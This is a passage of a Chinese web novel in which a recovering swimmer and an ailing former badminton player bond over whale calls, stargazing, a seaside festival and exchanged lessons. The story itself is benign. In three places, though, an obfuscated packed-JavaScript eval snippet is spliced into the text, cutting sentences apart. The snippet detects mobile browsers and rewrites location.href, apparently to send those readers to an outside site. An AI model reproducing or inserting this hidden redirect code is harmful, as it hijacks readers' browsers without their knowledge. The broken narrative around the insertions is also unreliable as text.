“真的。但你要是再偷跑，就取消。” “保证不跑了！” 下午两点，苏晚禾终于站进了泳池。 水温适宜，氯水的味道熟悉得让她鼻子发酸。 她按照王医生的要求，在浅水区慢慢地走，感受水流拂过皮肤。 不能划水，不能游泳，只能走。 但她还是觉得，能下水真好。 走完半小时，她趴在池边休息。 阳光透过玻璃顶棚照下来，在水面上晃出一片碎金。 她想起昨天谢临洲在雨中的样子，想起他说“球馆要是进水，以后就真不能用了”。 想起他们约好，台风天都不出门。 苏晚禾把头埋进臂弯里，笑了。 而此时，镇西的旧居民楼里，谢临洲在日记本上写： “7月31日，台风。 苏晚禾跑来找我。她说怕我来球馆。 一起加固了窗户，在球馆躲雨。她问我背包是不是哆啦A梦的口袋。 她还和我约好了，台风天都不出门。 她今天应该能下水了。 希望她能好好享受。 我也该休息了。确实累了。” 他放下笔，看向窗外晴朗的天空。 远处，疗养院的泳池在阳光下泛着粼粼波光。 7. 夏·初遇 周三晚上七点二十，苏晚禾准时出现在灯塔铁门外。 铁门没锁，她推门进去，爬上螺旋楼梯。 塔顶的台灯已经亮着，谢临洲正坐在桌前整理一堆录音设备，几个小巧的录音笔，一个头戴式耳机，还有一个连接着电脑的声谱仪。 “这是什么阵仗？”苏晚禾把背包放下。 “鲸鱼叫声。”谢临洲递给她一个耳机，“听吗？” 苏晚禾戴上耳机。 起初是沙沙的背景音，接着，一声悠长、低沉的鸣叫从耳机里传来，像是从深海传来的叹息，又像是某种古老的歌谣。 那声音持续了十几秒，音调起伏变化，然后渐渐消失。 她摘下耳机：“这是......鲸鱼？” “座头鲸。”谢临洲在电脑上点开一个波形图，“这段录音是在太平洋海域采集的，每头座头鲸都有自己独特的‘歌声’，会随着时间变化。” 苏晚禾凑过去看屏幕。 声波图形像起伏的山峦，标注着频率和时间。 “你能分辨不同鲸鱼的叫声？”她问。 “大部分可以。”谢临洲换了段录音，“这是蓝鲸，频率更低，更低沉。这是虎鲸，声音尖锐一些。” 苏晚禾又听了几段。 说实话，在她听来都差不多，都是低沉的、悠长的嗡鸣。 “我不信。”她直起身，“这些声音听起来都一个样，你怎么可能分得清是哪头鲸？” 谢临洲看她一眼：“打赌？” “赌什么？” “如果我分辨对了，你答应我一件事。如果我错了，我答应你一件事。”谢临洲说，“当然，事情要在合理范围内。” 苏晚禾想了想：“行。怎么赌？” 谢临洲从电脑里调出一个文件夹，里面有几十段音频文件，编号从1到25。“这些是我收集的鲸鱼叫声，每段15秒。有座头鲸、蓝鲸、长须鲸、灰鲸，还有几段是同一头鲸不同年份的录音。你随机选五段，我听完告诉你是什么鲸，什么时候录的，如果是同一头鲸我还要说出年份。” 苏晚禾瞪大眼睛：“这不可能。” “试试？” “试就试。” 苏晚禾转过身，闭上眼睛，在电脑屏幕上随便点了五个数字：3，7，12，18，22。 谢临洲调出对应的音频，戴上耳机。 第一段。 他听了十秒，摘下耳机：“座头鲸，太平洋种群，2018年录音。是头成年雄性，它的歌声里有个特殊的转音，像这样——”他哼了一个短促的音调，“这个特征在其他座头鲸里很少见。” 苏晚禾对照着音频的备注文件——完全正确。 第二段。 谢临洲听了更短的时间：“蓝鲸，印度洋海域，2019年。频率在14赫兹左右，是典型的亚种特征。” 又对。 第三段：“长须鲸，北大西洋，2020年。这段录音质量不太好，背景有船只噪音。” 对。 第四段，谢临洲听了两遍。 他微微皱眉：“这是......同一头座头鲸，但时间更早，2016年。它的歌声还没完全成形，但那个转音的雏形已经有了。” 苏晚禾看着备注文件，手有点抖，备注上写着“疑似与003号录音为同一头鲸，需进一步分析”。 而谢临洲只听了一遍就判断出来了。 最后一段。 谢临洲听完，沉默了几秒。 “这不是鲸鱼。”他说，“这是伪造的。用的是座头鲸的基础频率，但波形太规整了，自然界没有这么完美的声波。而且背景里有人为的电子噪音。” 苏晚禾看向备注——文件22的备注栏写着：“合成测试音频，用于声谱分析教学。” 她彻底服了。 “你怎么做到的？”她摘下耳机，“这些声音我听着都差不多。” “听多了就能分辨。”谢临洲关掉电脑，“就像你能分辨不同泳姿的水花声一样。” 苏晚禾一愣：“我能吗？” “你能。”谢临洲肯定地说，“自由泳的水花是连续有节奏的‘哗—哗—哗’。蛙泳是‘嘭、嘭、嘭’的爆破声。蝶泳最响，是‘啪！啪！啪！’。仰泳最轻，几乎只有水流声。” 苏晚禾仔细回想，好像确实是这样。 在游泳馆训练时，她闭着眼睛听水声，就能知道隔壁泳道的人在游什么。 “好吧。”她举起双手，“你赢了。说吧，要我答应什么事？” 谢临洲想了想：“教我怎么正确划水。” “不是已经在教了吗？” “实际教。”谢临洲说，“在水里。” 苏晚禾愣住：“可我不能游泳啊，医生只允许我在水里走动。” “不用你游。”谢临洲说，“你站在浅水区，我做动作，你纠正。就像在球馆你挥拍，我纠正一样。” 苏晚禾犹豫了。 王医生明确说过不许划水，但如果只是站在水里指导别人...... “下周行吗？”她问，“这周我刚恢复水下活动，王医生盯得紧。下周他应该会松一点。” “好。”谢临洲点头，“那就下周。” 赌约结束，谢临洲开始收拾设备。 苏晚禾帮忙整理电线，突然问：“你为什么这么喜欢鲸鱼？” 谢临洲的动作顿了顿：“它们很大，很安静，活在深海里。叫声能传几千公里，但几乎没人听过。” “就像你？”苏晚禾脱口而出，说完就想咬舌头。 但谢临洲没生气。 他笑了笑：“也许吧。” 收拾完毕，两人像往常一样坐在望远镜旁。 今晚天气很好，银河清晰可见。 谢临洲调好焦距，让苏晚禾看天鹅座。 “那颗最亮的叫天津四。”他指着目镜里的星星，“是天鹅座的主星，距离我们大约1400光年。” 苏晚禾看着那颗遥远的恒星，突然说：“你说鲸鱼的叫声能传几千公里，那星星的光走了1400年才到我们这里。”她直起身，“这么一想，我们听见的鲸鱼叫声可能是几年前发出的，看到的星光是一千多年前的。那我们此刻在这里，算不算同时在听过去、看过去？” 谢临洲侧头看她。 台灯的光晕里，他的眼睛显得很柔和。 “算。”他说，“所以我们也在成为别人的过去。” 这话说得有点深，苏晚禾一时不知道该怎么接。 她转回头继续看星星，过了一会儿才说：“下周除了教你划水，我再给你讲讲转身技巧吧。自由泳转身的蹬壁发力，其实和羽毛球网前步法有点像。” “好。” “还有呼吸节奏。游长距离的时候，呼吸要跟划水节奏配合，不能乱。你打球的时候，呼吸是不是也跟挥拍节奏配合？” “嗯。”谢临洲说，“发力时呼气，放松时吸气。” “看，运动都是相通的。”苏晚禾有点得意。 他们在灯塔待到九点半。 下楼时，谢临洲照例走在前面打手电。 走到塔底，苏晚禾突然说：“对了，我存了你家电话。” 谢临洲回头看她。 “上次台风之后，我问护工要的。”苏晚禾说，“以后要是有什么事，可以打电话。” 谢临洲沉默了几秒：“我不用手机。” “我知道。”苏晚禾说，“所以是固定电话。反正......存都存了。” 她说完有点不好意思，快步走到前面。 月光下，海面泛着银色的波光。 “苏晚禾。”谢临洲在后面叫住她。 她回头。 “谢谢。”他说。 “不客气。”苏晚禾摆摆手，“走了，下周见。” “下周见。” 回到疗养院，苏晚禾轻车熟路地从后门溜进去，自从台风天后，她就发现了这个漏洞。 上楼时正好碰见护士小陈。 “晚禾，又去散步了？”小陈笑着问。 “嗯，看看星星。”苏晚禾面不改色。 “早点休息啊，明天还要复健。” “知道啦。” 回到房间，苏晚禾打开电脑，开始搜索鲸鱼叫声的资料。 她找到一些科普网站，下载了几段录音，戴上耳机仔细听。 听了半小时，她还是分不清座头鲸和蓝鲸的区别。 “这比分辨水花声难多了。”她嘀咕着，继续听。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930139|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天下午的水下活动时间，苏晚禾特意提前到泳池。 王医生今天不在，只有护士小陈在池边看着。 “小陈姐，”苏晚禾扒在池边，“下周我能带个朋友来吗？他也在复健，想学学怎么在水里活动。” 小陈犹豫了一下：“什么朋友？” “就镇上的，也受过伤，不能剧烈运动。”苏晚禾说得很诚恳，“他想学点基础的水中康复动作，我保证不游，就站在水里指导他。” 小陈想了想：“我得问问王医生。” “问吧问吧。”苏晚禾说，“王医生要是同意，我就带他来。要是不同意，那就算了。” 她说完开始今天的“水中行走”。 其实就是在齐胸深的水里来回走，感受水流阻力，活动关节。 很无聊，但至少能下水。 走了二十分钟，她停在池边休息。 泳池的玻璃顶棚上停着一只小鸟，正在梳理羽毛。 苏晚禾看着它，突然想起谢临洲说的鲸鱼歌声。 那么大的生物，发出那么低沉的声音，在深海里传得很远很远。 而她在这里，在小小的泳池里，连划水都不被允许。 “晚禾，该上来了。”小陈在池边喊，“半小时到了。” 苏晚禾爬出泳池，用毛巾擦干身体。 肩部的感觉比上周好多了，活动时基本不疼了。 “王医生说下周可以适当增加一些上肢活动。”小陈递给她水，“但还是要小心。” “增加什么活动？” “比如这样。”小陈做了个缓慢的划水动作，手臂几乎不发力，“就像在水里走路时，手臂轻轻拨水，辅助平衡。” 苏晚禾眼睛一亮：“那我能教别人吗？就这个动作。” 小陈笑了：“等你下周先自己练好了再说。” 苏晚禾点点头，心里已经开始计划下周怎么教谢临洲了。 先从基础的浮力感受开始，然后是平衡，再然后是那个轻轻拨水的动作...... 晚饭后，她回到房间，继续听鲸鱼叫声。 这次她开了两个窗口，一边放座头鲸的录音，一边放蓝鲸的，来回对比。 听了一个小时，她终于听出了一点区别：座头鲸的叫声更像唱歌，有清晰的旋律变化；蓝鲸的更低沉，更单调。 她拿起手机，找到谢临洲家的电话，犹豫了一下，还是拨了过去。 响了五声，那边接起来了：“喂？” “谢临洲，是我。”苏晚禾说，“我听出来了，座头鲸和蓝鲸的区别。” 电话那头沉默了一下，然后传来很轻的笑声：“是吗？” “真的！座头鲸像在唱歌，蓝鲸像在......叹气？” “差不多。”谢临洲说，“蓝鲸的频率更低，所以听起来更沉闷。座头鲸的频率范围更广，所以能‘唱歌’。” “那长须鲸呢？” “介于两者之间。” 苏晚禾靠在床头：“我决定了，要练出‘听声辨鲸’的技能。等练成了，再跟你赌一次。” “赌什么？” “还没想好。”苏晚禾说，“反正你要做好准备。” “好。”谢临洲的声音透过电话传来，比平时听起来柔和一些，“我等着。” 又聊了几句，苏晚禾挂了电话。 她看着窗外夜色中的大海，突然觉得，如果能一直这样下去，好像也不错。 有泳池可以下，有星星可以看，有鲸鱼叫声可以听，还有一个愿意打赌的朋友。 她关上灯，躺在床上。 远处传来隐约的潮声，一下，又一下。 而在镇西的旧居民楼里，谢临洲挂断电话后，在日记本上写： “8月3日，灯塔夜。 和苏晚禾打了赌，关于鲸鱼叫声。我赢了，她答应下周教我划水。 她听出了座头鲸和蓝鲸的区别。 她说要练出‘听声辨鲸’的技能，再赌一次。 我等着。 下周要下水了。很久没下水了。 希望不会太狼狈。” 他放下笔，看向窗外。 夜色深沉，海天相接处一片模糊。 但灯塔的方向，他知道，永远亮着一盏灯。 8. 夏·初遇 周六早上，苏晚禾在食堂听见几个护工兴奋地讨论着什么。 “今晚海祭！听说今年烟花特别大！” “还有夜市，从码头一直摆到灯塔那边......” “晚禾，”张阿姨看见她，笑着问，“你今晚去不去？一年就一次，可热闹了。” 苏晚禾咬了口包子：“海祭？” “云港的传统。”张阿姨解释道，“每年八月初，感谢大海的馈赠，祈求平安。晚上有夜市、表演，最后是烟花大会。” 听起来确实热闹。 苏晚禾在疗养院闷了三周，早就想感受点人气了。 “去啊。”她说，“几点开始？” “夜市六点就摆了，烟花九点放。”张阿姨提醒，“不过人特别多，你小心肩膀，别被撞到。” “知道啦。” 上午复健时，苏晚禾脑子里还在想晚上的事。 王医生检查完她的肩膀，点点头：“恢复进度不错。下周一可以开始轻度划水练习了，记住，轻度，幅度不能大，速度不能快。” “真的？”苏晚禾眼睛一亮。 “真的。”王医生推推眼镜，“但你得答应我，今晚去海祭不能往人多的地方挤，不能跑跳，更不能去玩那些什么捞金鱼、套圈的游戏。” “保证不玩。” 从诊疗室出来，苏晚禾直接去了谢临洲家。 她没打电话，直接走到那栋旧居民楼二楼，敲了敲门。 过了半分钟，门开了。 谢临洲穿着家居服，头发微乱，像是刚睡醒。 “打扰你睡觉了？”苏晚禾问。 “没有。”谢临洲侧身让她进来，“有事？” “今晚海祭，你去吗？” 谢临洲愣了一下：“海祭？” “对啊，夜市，表演，烟花。”苏晚禾说，“一年就一次，你不去看看？” 谢临洲沉默了几秒：“人很多吧。” “多才热闹啊。”苏晚禾看着他，“去吧去吧，我一个人去也没意思。” 谢临洲看着她期待的眼神，最终点了点头：“几点？” “六点夜市开始，我们六点半在码头那个大鱼雕塑那里见？” “好。” 约定好时间，苏晚禾就回疗养院了。 下午她特意洗了个澡，换了件干净的白T恤和牛仔裤，把头发扎成利落的马尾。 六点二十，她到了码头。 大鱼雕塑是云港的地标，一条巨大的石雕海豚跃出水面的造型，下面已经聚集了不少人。 夜市摊位沿着海岸线摆开，灯笼串成一条光河，食物的香气混着海风飘过来。 谢临洲准时出现。 他穿了件浅灰色的衬衫，黑色长裤，在人群中显得格外清瘦。 苏晚禾挥手叫他：“这边！” 两人汇合，苏晚禾立刻被旁边的章鱼烧摊位吸引了：“吃吗？我请客。” “好。” 买了两份章鱼烧，两人边吃边走。 夜市确实热闹，卖海鲜烧烤的，卖手工饰品的，卖贝壳风铃的，还有捞金鱼、射击气球的小游戏摊。 苏晚禾谨记王医生的叮嘱，只看不玩。 走到一个卖海洋生物玩偶的摊位时，苏晚禾停下脚步。 摊位上摆着各种毛绒玩具：海豚、鲨鱼、章鱼，还有鲸鱼，做得还挺逼真。 “这个像不像你录音里的那头？”苏晚禾拿起一只座头鲸玩偶。 谢临洲看了看：“颜色深了点，真座头鲸是深灰色带白斑。” “要求真高。”苏晚禾把玩偶放回去，“那这个呢？”她拿起一只小海豚。 “瓶鼻海豚，做得还行。” 摊主是个笑眯眯的老奶奶：“小姑娘，给你男朋友买个吧，玩偶能带来好运哦。” 苏晚禾脸一热：“他不是。” “我要这个。”谢临洲突然开口，拿起那只小海豚玩偶，“多少钱？” “二十。” 谢临洲付了钱，把玩偶递给苏晚禾：“送你。” 苏晚禾愣愣地接过：“为什么送我？” “感谢你带我来。”谢临洲说得很自然，“不然我可能就在家看书了。” 苏晚禾抱着软乎乎的海豚玩偶，嘴角忍不住上扬：“那就谢啦。” 继续往前走，人越来越多。 表演舞台那边传来音乐声，是当地的渔歌合唱。 苏晚禾想看，但人挤得水泄不通。 “算了，不看了。”她踮脚看了眼，“我们去海边走走？” “好。” 两人脱离主街，走到相对安静的海滨步道。 这里也能看见夜市的光亮，听见隐约的音乐，但没那么拥挤。 海风凉爽，吹散了夏夜的闷热。 “你以前在海祭玩过什么？”苏晚禾问。 “很少来。”谢临洲说，“生病后基本没来过。” “为什么？” “人多，累。”谢临洲简单地说，“而且......看着别人都那么健康，会有点烦。” 苏晚禾听懂了。 她抱着海豚玩偶，没说话。 走了十几分钟，谢临洲的脚步慢了下来。 苏晚禾注意到他脸色开始发白，额角有细汗。 “累了？”她问。 “有点。” “那坐会儿。”苏晚禾指了指前面的长椅。 两人坐下。 谢临洲闭上眼睛，深呼吸了几下。 苏晚禾看着他苍白的侧脸，突然意识到自己可能太自私了，只想着热闹好玩，忘了他身体不好。 “要不我们回去？”她说。 “不用。”谢临洲睁开眼睛，“烟花还没看。” “还有半小时呢。” “那就坐半小时。” 苏晚禾从包里掏出水瓶递给他。 谢临洲喝了几口，脸色稍微好了些。 “其实我挺喜欢烟花的。”他忽然说，“短暂，但是很亮。” “像鲸鱼叫声？”苏晚禾想起灯塔那晚的对话，“短暂，但是能传很远。” 谢临洲看向她，微微笑了笑：“嗯。” 天色完全暗下来，星星开始出现。 夜市那边的音乐换成了欢快的节奏，人群的喧闹声随风飘来。 八点五十，苏晚禾站起来：“该去占位置了，不然看不到烟花。” 谢临洲也站起来，脚步还是有些虚浮。 苏晚禾犹豫了一下，伸手扶住他的胳膊：“我扶你。” 谢临洲顿了顿，没拒绝。 他们回到主街，人群已经开始朝最佳观景点移动，灯塔方向的海岬。 人潮涌动，苏晚禾小心地护着谢临洲，尽量不被人群挤到。 走到一半，突然有人从侧面跑过来，是个追逐打闹的小孩，直直朝谢临洲撞来。 苏晚禾眼疾手快，一把将谢临洲拉到自己身侧，用身体挡住了冲撞。 小孩擦着她跑过去，谢临洲被她拉得踉跄一步，站稳时两人距离极近。 苏晚禾的手还抓着他的胳膊，能感觉到布料下的骨骼轮廓。 “没事吧？”她问。 “没事。”谢临洲低头看她，灰眼睛在夜色中显得很深，“你呢？” “我好着呢。”苏晚禾松开手，但没完全放开，还是虚扶着他，“继续走？” “好。” 终于走到海岬，这里已经聚集了很多人。 他们找了个相对靠后的位置，虽然视野不是最好，但人少些。 九点整，第一朵烟花在夜空中炸开。 金色的光点四散开来，像倒流的瀑布。 紧接着是第二朵，第三朵，红色、蓝色、绿色，各种形状：海豚、星星、水母。 爆炸声在海面上回荡，与潮声混在一起。 苏晚禾仰头看着。烟 花确实很美，短暂而绚丽。 她侧头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930140|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼谢临洲，他也在看天空，烟花的光在他脸上明明灭灭。 最后一朵是巨大的银色烟花，炸开后缓缓下落，像一整片银河倾泻。 人群爆发出欢呼和掌声。 烟花结束，人们开始散去。 苏晚禾和谢临洲等人流稍微稀疏些才往回走。 回去的路上，夜市已经开始收摊，灯笼一串串熄灭。 走到码头的大鱼雕塑时，苏晚禾突然说：“等我一下。” 她跑回那个玩偶摊位，老奶奶正在收摊。 苏晚禾花了十五块钱买下那只座头鲸玩偶，就是谢临洲说颜色太深的那只。 跑回来，她把玩偶塞给谢临洲：“回礼。” 谢临洲接过玩偶：“不是说颜色不对吗？” “那又怎样。”苏晚禾理直气壮，“它是鲸鱼，你喜欢鲸鱼，这就够了。” 谢临洲看着手里深灰色的座头鲸玩偶，沉默了几秒，然后轻声说：“谢谢。” “不客气。”苏晚禾从口袋里掏出一个小东西，“还有这个。” 那是一个萤火虫形状的小徽章，夜市上买的，五块钱两个。 她把其中一个别在谢临洲的衬衫领子上：“这个也送你。萤火虫的光也很短暂，但是是自己发的光，不靠别人放。” 徽章别好，萤火虫的尾部微微发光，是夜光材料。 谢临洲低头看了看徽章，又抬头看苏晚禾。 他的眼神很复杂，苏晚禾看不懂，但觉得里面有什么柔软的东西。 “走吧。”她转过身，“我送你回去。” 两人慢慢往镇西走。 街道安静下来，只剩路灯和偶尔经过的行人。 走到谢临洲家楼下，苏晚禾停下脚步。 “到了。” “嗯。” “下周一，泳池见？”苏晚禾说，“我跟王医生说了，他同意我带你做水中康复。” “好。”谢临洲说，“几点？” “下午三点，疗养院泳池。从侧门进，我跟门卫说好了。” “知道了。” 苏晚禾挥挥手：“那周一见。早点休息。” “你也是。” 苏晚禾转身往回走。 走了几步，回头看了一眼，谢临洲还站在楼下，手里拿着那只座头鲸玩偶。 见她回头，他抬起手挥了挥。 她也挥挥手，继续走。 回到疗养院已经十点多了。 苏晚禾轻手轻脚地从后门溜进去，上楼时碰见护士小陈。 “回来啦？”小陈笑着说，“烟花好看吗？” “好看。”苏晚禾从口袋里掏出另一个萤火虫徽章，“这个送你，小陈姐。” “哎呀，谢谢。”小陈接过徽章，“快去睡吧，明天周日，可以多睡会儿。” “晚安。” 回到房间，苏晚禾把海豚玩偶放在床头。 软乎乎的，抱着很舒服。 她躺下，看着天花板，回想今晚的一切：夜市的热闹，烟花的绚烂，还有谢临洲看烟花时的侧脸。 她闭上眼睛，很快睡着了。 而在镇西的旧居民楼里，谢临洲坐在书桌前，看着那只座头鲸玩偶。 玩偶的眼睛是两颗黑色的塑料珠，在台灯下反着光。 他拿起玩偶，发现底下压着张小纸条。 展开，是苏晚禾的字迹，写得有点匆忙： “给谢临洲： 烟花会结束，但星星一直在。 鲸鱼会离开，但大海一直在。 你也要一直在。 ——苏晚禾” 谢临洲看着这张纸条，看了很久。 然后他打开日记本，但今晚没写一个字。 他只是把那张纸条夹在日记本里，合上。 他拿起座头鲸玩偶，把它放在书桌最显眼的位置，挨着那本海洋图鉴。 窗外，夜色深沉，潮声阵阵。 周一很快就到了。 9. 夏·初遇 周一下午两点五十，苏晚禾穿着泳衣披着浴巾，站在疗养院侧门等谢临洲。 天气很好，阳光透过泳池的玻璃顶棚洒下来，水面上波光粼粼。 泳池里已经有三两个老人在做水中漫步，护士小陈在池边看着。 两点五十五，谢临洲准时出现。 他穿着简单的黑短裤，外面套了件白色T恤，手里拿着包、毛巾和泳镜，苏晚禾注意到那副泳镜很旧了，镜腿上的橡胶都老化了。 “挺准时啊。”苏晚禾迎上去。 “嗯。”谢临洲看向泳池，“现在进去？” “跟我来。” 苏晚禾带他从员工通道进去，避开了前台登记。 疗养院的泳池不大，二十五米长，四道，水深从一米二到一米八。 下午这个时间段人不多，最边上的一道是空着的。 “你用这道。”苏晚禾指了指第一泳道，“我跟你一起下水，但我不游，就在旁边指导。” 谢临洲点点头，脱掉T恤挂在椅背上。 苏晚禾看见他右臂上那道手术疤痕，从肩部一直延伸到上臂，淡粉色，缝合的痕迹清晰可见。 “你的伤......”她下意识问。 “去年手术取的活检。”谢临洲简单地说，戴上泳镜，“现在不疼。” 苏晚禾没再问。 她下了水，水温适中。 谢临洲跟着下来，动作有点僵硬。 “先感受浮力。”苏晚禾说，“放松，往后躺，我会托着你。” 谢临洲照做。 苏晚禾一手托着他的后颈，一手托着他的腰。 水把他们托起来，谢临洲的身体在水里显得很轻。 “呼吸放慢。”苏晚禾说，“想象你是一块木头。” 谢临洲闭上眼睛。 阳光透过水面在他脸上晃动，水波声在耳边温柔地响。 浮了三分钟，苏晚禾让他站起来：“感觉怎么样？” “很轻。”谢临洲抹了把脸上的水，“跟在地上完全不一样。” “那当然，水的密度是空气的八百倍。”苏晚禾说，“接下来我们练平衡。你试着在水里站着，单脚站立。” 谢临洲试了试，晃了一下。 苏晚禾扶住他：“核心收紧，用腹部力量稳住。” 练了十分钟平衡，苏晚禾开始教他划水动作。 “先站在这里，手伸直，做抱水动作。”她示范了一遍，“慢一点，感受水的阻力。” 谢临洲跟着做。 他的动作很标准，毕竟是运动员，对身体的控制力很强，但能看出肩膀发力时有些滞涩。 “你肩膀有伤，所以要用腰腹带动。”苏晚禾走到他身后，手轻轻按在他腰侧，“这里收紧，转体，然后手臂自然跟着转。” 谢临洲跟着她的指导重复动作。 水里很安静，只有他们的水声和远处老人的聊天声。 练了二十分钟，苏晚禾看了眼时间：“休息一下。” 两人靠在池边。 谢临洲的呼吸有些急促，脸色发白，但眼睛很亮。 “累吗？”苏晚禾问。 “有点。”谢临洲说，“但很有意思。” “你学得很快。”苏晚禾实话实说，“比我教过的初学者都快。” “可能是以前看别人游看多了。”谢临洲说，“在省队的时候，我们羽毛球馆旁边就是游泳馆，训练间隙经常看。” 苏晚禾侧头看他：“你想过转项吗？游泳。” “没有。”谢临洲摇头，“羽毛球是主动选择的，游泳......没有那种感觉。” “什么感觉？” “非要形容的话......”谢临洲想了想，“羽毛球像对话，你来我往。游泳更像独白。” 苏晚禾笑了：“这个比喻不错。” 休息了五分钟，苏晚禾说：“接下来我教你打腿。不过你得先抓着池边。” 谢临洲抓住池边的扶手。 苏晚禾潜下水，看着他的腿部动作。 “腿要伸直，用大腿带动，不是膝盖。”她从水里冒出来，“你试试。” 谢临洲试了试，水花溅了苏晚禾一脸。 “不对不对，太僵硬了。”苏晚禾抹了把脸，“放松，像鞭子一样甩出去。” 又练了十五分钟，谢临洲的体力明显跟不上了。 苏晚禾注意到他抓着扶手的手指关节发白，呼吸越来越急。 “今天就到这里吧。”她说，“第一次别练太猛。” 两人上岸。 谢临洲用毛巾擦干身体，手有些抖。 苏晚禾从包里拿出能量棒递给他：“吃一点，补充血糖。” 谢临洲接过，慢慢吃着。 苏晚禾也披上浴巾，坐在他旁边的躺椅上。 泳池的玻璃顶棚上停着一只鸟，歪着头看他们。 “周三还去灯塔吗？”苏晚禾问。 “去。”谢临洲说，“这周可以看英仙座流星雨，凌晨两点到四点是最佳时间。” “流星雨？”苏晚禾眼睛一亮，“我能看吗？” “如果你能熬夜的话。” “我能！”苏晚禾立刻说，“几点？” “凌晨一点半，灯塔见。”谢临洲说，“带上厚外套，晚上海边冷。” “好！” 谢临洲吃完能量棒，脸色恢复了些。 他站起来：“那我先走了。” “我送你出去。” 送到侧门，苏晚禾突然想起什么：“对了，作为今天教游泳的回礼，你得教我打羽毛球。” 谢临洲转头看她：“你的肩膀......” “我不打球，就学理论。”苏晚禾说，“你不是说羽毛球像对话吗？我想学学怎么‘对话’。” 谢临洲想了想：“明天下午？球馆。” “好！” 周二下午三点，苏晚禾准时出现在旧羽毛球馆。 谢临洲已经到了，正在做热身。 馆内还是老样子，破旧但干净。 “教练好！”苏晚禾故意立正敬礼。 谢临洲看了她一眼，眼里闪过一丝笑意：“先热身。” 热身完毕，谢临洲开始讲课：“羽毛球的基本技术分手法和步法。手法包括握拍、发球、击球；步法包括启动、移动、回动。今天先教握拍。” 他拿起球拍示范：“正手握拍像握手，虎口对着拍柄侧面。反手握拍要转动拍面，拇指顶在宽面上。” 苏晚禾跟着学。 握拍看似简单，但要找到舒服又发力的位置并不容易。 谢临洲纠正了她三次，她才基本掌握。 “接下来是发球。”谢临洲站到发球线后，“正手发高远球，用于单打；反手发网前球，用于双打。你先学正手。” 他示范了一遍：侧身，举拍，抛球，击球。动作流畅得像舞蹈。 苏晚禾试了试。 第一次没抛好，球掉地上了。 第二次抛高了，击球时拍面歪了，球斜着飞出去。 “别急。”谢临洲把球捡回来，“先练抛球。球要垂直抛起，高度大概到额头。” 练了二十分钟抛球，苏晚禾终于能稳定地抛到固定高度了。 “现在加击球。”谢临洲说，“抛球的同时转体引拍，击球点在身体前上方。” 苏晚禾试了第一次。 球倒是击中了，但飞得又低又近。 “发力太早了。”谢临洲走到她身后，“球下落的时候击打，这样才有高度和远度。” 他站在她侧后方，虚握着她的手调整姿势：“这样......然后转腰......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930141|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他的手指很凉，声音很近。 苏晚禾突然想起泳池里她指导他时的情形，现在位置反过来了。 “专心。”谢临洲说。 “哦。”苏晚禾收回思绪，专注练习。 又练了半小时，她终于能发出一个像样的高远球了，虽然落点不固定，但至少又高又远。 “成功了！”她跳起来。 谢临洲点点头：“不错。接下来是击球动作。高远球、吊球、杀球、网前球，每种动作都不一样。今天先学高远球。” 他走到场地另一端：“我发球，你试着回。不用管落点，只要把球打过来就行。” 苏晚禾握紧球拍，盯着对面。 谢临洲发了一个温柔的高远球，球在空中划出漂亮的弧线。 她跑到位，举拍，击球—— 球拍框击中球，发出闷响。 球歪歪扭扭地飞回去，但确实过网了。 “很好。”谢临洲说，“再来。” 他们打了二十几个回合。 谢临洲的球都发得很舒服，苏晚禾逐渐找到了感觉。 肩膀有些酸，但她没停。 “最后一个。”谢临洲说。 他这次发了个稍微快点的球。 苏晚禾后退两步，转身引拍，用力击出—— 球高高飞起，划过整个场地，落在谢临洲身后的底线附近。 完美的高远球。 苏晚禾愣住了。 谢临洲也回头看了看球的落点，转回头时眼里有赞许。 “不错。”他说，“很有天赋。” 苏晚禾放下球拍，喘着气笑：“那是，我可是运动员。” “但也得休息了。”谢临洲走过来，“你的肩膀明天该疼了。” “没事，我习惯了。”苏晚禾活动了一下右肩，“对了，明天凌晨一点半，别忘了。” “不会忘。”谢临洲开始收拾东西，“你记得穿厚点。” “知道啦。” 离开球馆时已是傍晚。 夕阳把云港染成橘红色，海面上金光粼粼。 “明天见。”苏晚禾在岔路口说。 “明天见。”谢临洲朝西边走。 苏晚禾回疗养院的路上，心情很好。 肩膀确实有点酸，但更多的是充实感。 教别人游泳，学别人打球，看星星，等流星雨。 生活好像没那么难熬了。 晚上她特意早点睡，为了凌晨一点的流星雨。 但躺在床上翻来覆去睡不着，脑子里全是今天下午打球的画面：谢临洲示范发球时的流畅动作，他站在身后纠正姿势时的触感，还有那个完美的高远球。 她伸手摸到床头的小海豚玩偶，抱在怀里。 软软的，暖暖的。 窗外的潮声规律地响着，像心跳。 她闭上眼睛，终于睡着了。 